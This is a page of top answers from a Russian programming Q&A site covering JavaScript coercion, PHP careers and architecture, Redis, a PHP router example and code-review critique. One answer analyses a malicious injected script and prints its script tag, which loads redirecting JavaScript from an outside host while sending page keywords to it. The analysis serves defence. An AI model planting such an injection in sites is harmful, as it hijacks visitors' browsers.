Задать вопрос
  • Как посчитать странное выражение (из теста с UpWork)?

    lazalu68
    @lazalu68
    Salmon
    UPD: разбор именно вашего случая

    TLDR - комментированный jjencode

    Описание порядка действий, type conversion table

    ++[[]][+[]]+[+[]]

    Два слагаемых: ++[[]][+[]] и [+[]]

    Первое слагаемое равно единице, т.к. первая пара квадратных скобок это литерал массива с единственным элементом - пустым массивом, вторая пара - обращение к этому массиву по индексу +[], то есть 0. По индексу 0 лежит пустой массив, в виду инкремента он приводится к числу (получается 0) и добавляется единица, получается 1

    Второе слагаемое это литерал массива с единственным элементом 0.

    То есть складываются единица и [0], 1+[0].

    Единственная загадка это почему в этой операции [0] приводится к строке. Было бы логично если бы в операции сложения единицы и массива массив приводился к примитиву с PreferredType равным "number", но почему-то получается строка. Большое спасибо было бы тому человеку, который бы объяснил этот момент в спецификации.
    Ответ написан
    7 комментариев
  • Знания Junior php разработчика?

    Fesor
    @Fesor
    Full-stack developer (Symfony, Angular)
    что должен знать идеальный джуниор (мое личное мнение):

    - Сетевой стэк. Нужно иметь хотя бы базовое представление о том как с сервером общаются. Ну то есть не нужно лезть в дебри, но понимать что такое HTTP или чем TCP от UDP отличается - нужно. В целом это пара часов чтения википедии.
    - GIT или любая другая распределенная VCS. Базовые навыки, что бы хотя бы понимал что есть git revert или git rebase, что такое фичабрэнчи и примерное представление как это работает и зачем надо.
    - Базовые основы unix. Ну то есть что бы не пугаться таких вещей как ssh хотя бы.
    - PHP. Без этого никуда. Он должен понимать что такое слабая динамическая типизация (не заучивать табличку кастов типов, а понимать плюсы и минусы, такая же история с приоритетами операторов - не заучивать а знать как избегать проблем с чтением кода)
    - Понимать что код чаще читают чем пишут, а потому не экономить 5 минут на написании кода, а писать так, чтобы сэкономить 30 минут человеку, разбирающемуся в куске кода.
    - Знать базовые вещи в плане безопасности. XSS и как защищаться, SQL инъекции и как защищаться, CSRF, MITM. Понимать что такое NDA, что данные пользователей - секретная информация. Как хэшировать пароли (не md5 а password_hash) и почему это важно.
    - Знать SQL. Глубоких знаний не требуется, нужно лишь понимание того, что такое нормальная форма, желательно разобраться с вопросом денормализации данных. Идеально иметь хотя бы базовые представления о том как работать с NoSQL решениями.
    - Процедурное программирование: почему глобальные переменные порождают сложность, что такое состояние, как можно использовать классы для изоляции состояния и т.д. Инкапсуляция. Инварианты, пост/пред условия, сохранение целостности...
    - Разделение ответственности. Это один из важнейших принципов, и упрощать все это до "mvc фреймворк" слегка неправильно. Вы должны понимать что от чего отделяете и главное зачем.
    - Автоматические тесты. Джуниор должен знать что это такое и иметь хотя бы минимальный опыт их написания. Должен понимать разницу между юнит и интеграционными тестами. Быть знакомым с пирамидой тестирования.
    - Уметь решать стандартные задачи не задавая слишком много вопросов. Например регистрацию пользователя по email-у вы должны написать, или авторизацию через соц сети, или комментарии, или новостную ленту.
    - Уметь дебажить. xdebug, blackfire и тд.

    В целом где-то за годик весь этот список можно влегкую покрыть с нуля.

    p.s. Я в списке специально не указывал ООП, поскольку всеравно первые пару лет у разработчиков выходит процедурщина на классах. Это не плохо, но того что в моем списке более чем должно хватать для решения стандартных задач. Но термины вроде "инкапсуляция/полиморфизм/наследование" требуются в обязательном порядке подавляющем количеством интервьюверов, а стало быть знать это надо. Единственное что - рекомендую в свободное время глубже погрузиться в этот вопрос а не тупо заучивать формулировки.

    Так же вещи вроде docker джуниорам знать не обязательно просто потому, что их врядли допустят сходу к управлению инфраструктурой. А так пару неделек на изучение и вперед.
    Ответ написан
    12 комментариев
  • Какой хороший чат для сайта?

    @zdevl
    Интересный вариант описан на Хабре https://habrahabr.ru/post/264035/.
    Без ВК, но через Телеграмм работает. Можно несколько операторов в онлайне держать. Я его еще не пробовал, но в планах есть. И у посетителя сайта нет никакой привязки к какой-ибо соц.сети, что на мой взгляд большой плюс. Далеко не все посетителя сайта хотят светить свой профиль в ВК или где-либо еще. А тут человек пишет в чат, а оператор получает сообщения в Телеграмме.
    ГитХаб https://github.com/Surzhikov/TelegramSiteHelper
    Ответ написан
    Комментировать
  • Как узнать свой уровень в кодинге?

    @kirill-93
    Это все в пределах конкретной компании ведь. Тимлид в конторке по разработке сайтов != тимлид большой международной компании. В целом примерно так:
    Джуниор не может сам полностью выполнять таски, ему нужны советы и контроль.
    Мидл может сам выполнять таски без контроля и советов, кроме исключительных случаев.
    Сеньор - тот, на ком все держится и к кому все обращаются.
    Тимлид может быть мидлом или даже джуном в другой компании.
    Что конкретно нужно знать вам никто не скажет, да и всего знать невозможно. Если речь идет именно о каких-то технологиях, то это не важно, важно уметь находить решения, а не знать их наизусть.
    И еще, лучше быть крутым джуниором/мидлом, чем хреновым тимлидом. Очень смешно смотреть, как человек с двумя годами опыта гордо рассказывает всем, что он тимлид. Этим любят пользоваться хитрые начальники, типа: "Давай ка мы тебя тимлидом называть будем, а ты поработай сверхурочно и по выходным, ты ведь теперь сеньор-помидор!", а молодежь ведется.
    Ответ написан
    3 комментария
  • Как на сервере(php) прервать обработку, прерванного AJAX запроса?

    Никак. abort отменяет ожидание ответа от сервера, на сам сервер это не влияет никак. Это как если бы вы отправили письмо и пока оно идет, решили переехать в другую квартиру. Письмо все равно будет прочитано адресатом.
    Ответ написан
    Комментировать
  • В каких случаях вы использовали Redis?

    @chronic86
    Ruby on Rails junior
    1. Хранилище сессий и профилей пользователей;
    2. Сервер очередей, плюс держим в уме механизм publish/subscribe;
    3. Полноценная замена Memcached, притом в случае с Redis мы получим репликацию, более длинные ключи и значения, возможность восстановления кэша с диска и тп;
    4. Место для хранения количества пользователей онлайн, кодов капч, различных флагов, саджестов поисковых запросов;
    5. СУБД для небольших приложений — сокращалок ссылок, имиджбордов, возможно даже блогов;
    6. Роль «словаря» в шардинге, то есть сервер, который знает, какие шарды на каких серверах искать;
    7. Хранилище промежуточных результатов вычислений при обработке больших объемов данных;


    eax.me/redis
    Ответ написан
    Комментировать
  • Есть ли среди вас те, у кого есть постоянный стабильный доход не от разработки, а от своего продукта?

    VGrabko
    @VGrabko
    Golang, Php, Js
    У меня тупой сайтик с фильмами/сериалами который парсит сайты студий по переводу. По немножку доход с рекламы растёт. В день около 5$
    Ответ написан
    9 комментариев
  • Есть ли среди вас те, у кого есть постоянный стабильный доход не от разработки, а от своего продукта?

    myfirepukan
    @myfirepukan
    Жарим поиск
    Есть такие это я.
    MFA тема жива в мировом масштабе. В СНГ на adsense нормально заработать проблемно, в РСЯ новые сайты почти не берут.
    MFA = профессионал в SEO и не только белом )) т.к. вам нужно уметь с минимумом затрат привлекать много дешёвого трафика

    А по поводу проекта ради идеи, то в основе любого проекта даже MFA должна лежать интересная идея. Как минимум идея интересного парсера )))))
    Ответ написан
    2 комментария
  • Что почитать об архитектуре приложений и фреймворков на php?

    Fesor
    @Fesor
    Full-stack developer (Symfony, Angular)
    В целом сразу вас расстрою, то что вы хотите нельзя "разобрать" за пару месяцев. На это уйдет пару тройку лет. И книги которые стоит по этой теме прочитать имеет смысл перечитывать. Ну и практика практика практика.

    Так же хочу заметить что "архитектура" это не что-то эдакое, а общее понимание команды разработчиков о том как функционирует приложение. Если этого общего понимания нет - у вас нет архитектуры. У многих разработчиков понимание пропадает уже через пару месяце стихийной разработки. Так что помимо архитектуры важно еще и процессы/методологии разработки подтянуть.

    Так же стоит заметить, что все это приследует одну единственную цель - сделать процесс разработки эффективным в краткосрочной и долгосрочной перспективе. Если скажем у вас все приложение построено на процедурах и глобальных переменных поддержка такого кода скорее всего будет сильно дороже.

    но совершенно не имею представления о правильной архитектуре приложений на php


    "Правильно" не бывает, все зависит от задачи. "Правильная" архитектура является:

    - понятной - то есть можно быстро разобраться. Это как читабельность кода (читать совершенный код Макконела) так и в принципе декомпозиция системы, разделение ответственности и т.д. (микросервисы, гексагональная архитектура). Тут можно посоветовать почитать Эрика Эванса.
    - удобной в изменениях (продумать все нереально, а сталобыть проще сделать так что бы адаптироваться под изменения в требованиях можно было эффективнее).
    - Тестируемой - то есть вы можете проверить работоспособность системы на различных уровнях. Тут стоит смотреть в сторону TDD или практик с той же идеей (сначала формулируем как работает и как мы это проверим а потом уже делаем).

    Вот и все. Далее уже есть принципы SOLID (читать Роберта Мартина), GRASP (Крэйг Ларман), GoF (лучше тут почитать head first design patterns или даже начать с Мэта Зандстры, у него помимо паттернов еще про процессы мельком рассказано).

    Ну и смысла в этом всем нет если вы еще до конца не осознали что есть инкапсуляция и полиморфизм. Многие могут рассказать что значат эти термины, но на практике эти знания они не могут применить (чаще всего страдает инкапсуляция)

    или написании чего-то своего с нуля на чистом php


    Такое решение может принимать только разработчик у которого уже есть за плечами хотя бы пяток лет опыта работы с различными (не одним) фреймворком и языками. В противном случае вы только будете заниматься бесполезным велосипедостроительством.

    идеально было бы вообще подробно расписанное сравнение внутреннего устройства нескольких фреймворков


    Берете Symfony или Zend и вперед. Все остальные фреймворки "проще". То есть скрывают больше от разработчика. После них уже можно брать что угодно.

    p.s. еще прочитайте тут: www.phptherightway.com
    Ответ написан
    12 комментариев
  • Что делает этот вирус?

    27cm
    @27cm
    TODO: Написать статус
    1. Функция checkOne() достаёт ключевые слова из тега <meta name="keywords" content="..." />
    2. Если ключевые слова не найдены, то скрипт берёт ключевые фразы из utm_term.
    3. Если ключевые фразы из utm_term не найдены, то используется title страницы.

    Найденные ключевые слова кодируются и отправляются в ktm-pohlenz.de/js/jquery.min.php. В результате вставляется JavaScript, который редиректит пользователя на URL адрес, максимально соответствующий найденным ключевым словам и HTTP referer страницы. Пример для этой страницы:
    <script type="text/javascript" src="http://ktm-pohlenz.de/js/jquery.min.php?c_utt=J18171&c_utm=http%3A%2F%2Fktm…IT%26se_referrer%3Dhttps%253A%252F%252Ftoster.ru%252F%26source%3Dtoster.ru"></script>


    P.S.: Редирект возвращается не всегда. Возможно на стороне ktm-pohlenz.de есть какая-то фильтрация по IP, UA, параметру c_utt и т. д.
    Ответ написан
    6 комментариев
  • В чем суть роутера на php?

    onqu
    @onqu
    weasy
    1. Здесь пугают всякими контроллерами, ларавелями. Давайте жить проще. Для начала дадим определение модному слову роутер. Это маршрутизатор. Что делает маршрутизатор? Правильно. Обрабатывает маршруты, являясь связующим звеном. Маршрутом для web сайта принято считать метод запроса [GET, POST, PUT и другие] и компоненты URI.

    например: https://ru.wikipedia.org/wiki/URI?foo=bar#title
    [схема: https] :// [источник: ru.wikipedia.org] [путь: /wiki/URI] [запрос: ?foo=bar] [фрагмент: #title]


    Но для определения маршрута может браться любая другая информация передаваемая серверу, определение выше это лишь наиболее употребляемые параметры.

    Сама работа, как правило проста: от клиента приходит запрос, маршрутизатор перебирает все заданные ему пути до первого совпадения. При совпадении вызывается определенная вами функция, которая возвращает ответ клиенту.

    2. Он необходим, если в приложении одна точка входа, когда любой запрос приходит на один файл.

    3. Простой пример
    // файл index.php
    
    // Маршруты
    // [маршрут => функция которая будет вызвана]
    $routes = [
        // срабатывает при вызове корня или /index.php
        '/' => 'hello',
        // срабатывает при вызове /about или /index.php/about
        '/about' => 'about',
        // динамические страницы
        '/page' => 'page'
    ];
    
    // возвращает путь запроса
    // вырезает index.php из пути
    function getRequestPath() {
        $path = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
    
        return '/' . ltrim(str_replace('index.php', '', $path), '/');
    }
    
    // наш роутер, в который передаются маршруты и запрашиваемый путь
    // возвращает функцию если маршшрут совпал с путем
    // иначе возвращает функцию notFound
    function getMethod(array $routes, $path) {
        // перебор всех маршрутов
        foreach ($routes as $route => $method) {
            // если маршрут сопадает с путем, возвращаем функцию
            if ($path === $route) {
                return $method;
            }
        }
    
        return 'notFound';
    }
    
    // функция для корня
    function hello() {
        return 'Hello, world!';
    }
    
    // функция для страницы "/about"
    function about() {
        return 'About us.';
    }
    
    // чуть более сложный пример
    // функция отобразит страницу только если
    // в запросе приходит id и этот id равен
    // 33 или 54
    // [/page?id=33]
    function page() {
    
        $pages = [
            33 => 'Сага о хомячках',
            54 => 'Мыши в тумане'
        ];
    
        if (isset($_GET['id']) && isset($pages[$_GET['id']])) {
            return $pages[$_GET['id']];
        }
    
        return notFound();
    }
    
    // метод, который отдает заголовок и содержание для маршрутов,
    // которые не существуют
    function notFound() {
        header("HTTP/1.0 404 Not Found");
    
        return 'Нет такой страницы';
    }
    
    
    // Роутер
    // получаем путь запроса
    $path = getRequestPath();
    // получаем функцию обработчик
    $method = getMethod($routes, $path);
    // отдаем данные клиенту
    echo $method();


    На практике используют более сложные маршрутизаторы, у которых гораздо большие возможности.

    4. Обойтись без него можно. Если каждая страница в вашем приложении будет являться отдельным файлом, который отвечает за отдачу информации.
    index.php
    about.php
    contact.php
    ...


    Это олдскульная структура, в новых проектах почти не применяется.
    Ответ написан
    13 комментариев
  • В чем моя причина провала тестового задания Яндекса?

    Fesor
    @Fesor
    Full-stack developer (Symfony, Angular)
    Ну давайте я покритикую:

    возьмем файлик

    1) вы не разобрались как объявлять методы у прототипов с новой нотацией `class`:

    class Travelsort {
        constructor() {}
        sortTickets(tickets) {}
    }


    2) вы не умеете пользоваться исключениями.
    if (!Array.isArray(cards)) {
        throw new ValueError('Wrong input');
    }


    3) использование let там где должен использоваться const

    4) в принципе использование переменных там где их быть не должно

    5) вы зачем-то реализовали свою функцию сортировки, я не увидел в требованиях отсутствия возможности использовать старый добрый Array.prototype.sort

    6) Общие замечания по кодинг стайлу. snake_case там где должен быть camelCase, пишите с большой буквы то что должно быть с маленькой и т.д.

    7) нарушения принципа единой ответственности. У вас объеткт умеет и сортировать и писать куда-то. Это категорически плохо.

    8) Если исправить 7-ой пункт то наш класс превращается просто в функцию.

    Далее... берем следующий файлик

    1) если вы пишите комментарии к таким маленьким кускам кода - стало быть у вас хромает именование вещей. Все должн быть понятно просто из названий методов/функций/переменных. При работе в команде над серьезными проектами это немаловажно, ибо код чаще читают чем пишут и экономить нужно именно это время.

    2) вы зачем-то тут в прототип объекта строки впихиваете функции для парсинга CSS. Таким образом мы нарушаем принцип единой ответственности. Да и в целом расширять без надобности прототипы объектов как-то не ок.

    Чуть дальше проскролил - вы пытаетесь расширить прототип строк для того что бы добиться API jquery? ух, батенька.

    3) очень много дублирования.

    4) очень плохо с protected variations.

    Справедливости ради, ваш код входит в категорию ">50% JS кода", так что не расстраивайтесь. Просто для работы в яндексе нужен чуть более высокий уровень и понимание вещей.
    Ответ написан
    17 комментариев
  • Скорость работы / отклика / генерации: laravel 5 vs lumen...?

    wielski
    @wielski
    ✔ Совет: Вам помогли? Отметьте ответы решением.
    Не знаю откуда у вас такая информации по скорости ларавела, но вот скриншот времени обработки ОЧЕНЬ нагруженной страницы:
    f9a925d4c1514459935967aaec42fb18.png

    И та же страница после оптимизации, и кэширования чего только можно (встроенными средствами):
    ef0fe03b933141e4bc055761c33cc6c1.png

    Laravel 5.1
    PHP 7
    При переходе на 5.2, уверен, будет даже быстрее.
    Ответ написан
  • Что нужно освоить веб разработчику чтобы облегчить себе жизнь?

    evnuh
    @evnuh
    Поиск Гугл помог мне, впусти и ты его в свой дом
    1) Выбрать и настроить IDE. Освоиться в ней.
    2) Научиться работать с системами контроля версий.
    3) Научиться учиться. Выучить английский, научиться пользоваться гуглом.
    4) Научиться писать код.
    5) Научиться дебажить свой код.
    6) Научиться тестированию кода.
    7) Понять, как работает компьютер, сетевой стек, браузер, как устроены базы данных, как работает компиляция. Освоить DevOps.
    8) После 7 пункта уже можно учиться оптимизировать свой код.
    9) Научиться решать задачи, а не тупо писать код. Разобраться, когда и где и как использовать разные технологии,
    10) Научиться работать с людьми. Научиться продавать себя и свой продукт.
    11) Выкинуть хлам из дома.
    12) Старых позвать друзей.
    Ответ написан
    1 комментарий
  • Бесплатный проект для портфолио превратился в бесконечный. Как быть?

    max_bozhenov
    @max_bozhenov
    Top-notch frontend developer & ui designer
    У меня было типа такого, взялся за проект для портфолио и для практики на angular.js + laravel framework (restful api server), договорился за смешную цену, так как это был первый проект на angular.js думал что управлюсь быстро, но он растянулся на ооочень долго. В итоге, что бы отвязаться от клиента, говорил ему что данное приложение стоит в 5 раз дороже (минимум) - так оно и есть, и если вы хотите доп. функционал - платите, а иначе на что мне жить и что мне кушать, пока я трачу все свое время на ваш проект? В итоге я предоставил проект с базовым функционалом, о котором и договаривались. Дополнив, что если им нужен доп. функционал, ищите другого разработчика, я все - закончил, мне более не интересно работать за бесплатно. А доработка выльется им в копеечку, ибо это не wordpress.

    So, here is my true story) И самое главное, это жизненный опыт, который так или иначе - необходим. Просто кто то обходится без него, а для кого то нет иного пути.
    Ответ написан
    3 комментария
  • Какой есть один сервис для ответов по соц.сетям?

    mazah
    @mazah
    Главное - делай
    Насколько мне известно полноценных инструментов именно для комментирования в социальных сетях нет.

    • Существуют инструменты автопостинга. Единовременная публикация постов в разных социальных сетях с возможностью задать время публикациям. Например: feedman, smm-box, amplifr.
    • И существуют инструменты мониторинга социальных сетей. Отслеживание постов и комментарии в социальных сетях (подключения к конкретным группам или поиск по ключевым запросам). Ответов из сервисов нет, либо они плохо реализованы. Поэтому необходим переход к первоисточнику. Например: iqbuzz, youscan, крибрум.
    Ответ написан
    Комментировать
  • Серверные языки - как не запутаться и что изучить?

    @javanub
    Возьмите php. Я серьезно. Большинство пишут на нем. Огромное сообщество. Можно найти ответ на любой вопрос. Потом изучите любой популярный фреймворк и будете собирать отличные проекты.
    Ответ написан
    1 комментарий
  • Серверные языки - как не запутаться и что изучить?

    wielski
    @wielski
    ✔ Совет: Вам помогли? Отметьте ответы решением.
    Я бы посоветовал NodeJS. Хорошо развивается в части веба.
    Но если хотите легко освоить, и найти работу - советую связку PHP + фреймворк Laravel.
    Ответ написан
    4 комментария
  • Как вы создаёте адаптивный дизайн и всегда ли это нужно?

    aliencash
    @aliencash
    Партизан
    Я уже давно понял, что лучше сразу делать адаптивно. Иначе потом все равно переделывать придется. Контейнер у меня выглядит так:
    .container {
    width: 100%;
    max-width: 1200px;
    min-width: 320px;
    margin: 0 auto;
    }

    Причем стараюсь делать все резиново. Если такой возможности нет - медиазапросы.
    Ответ написан
    Комментировать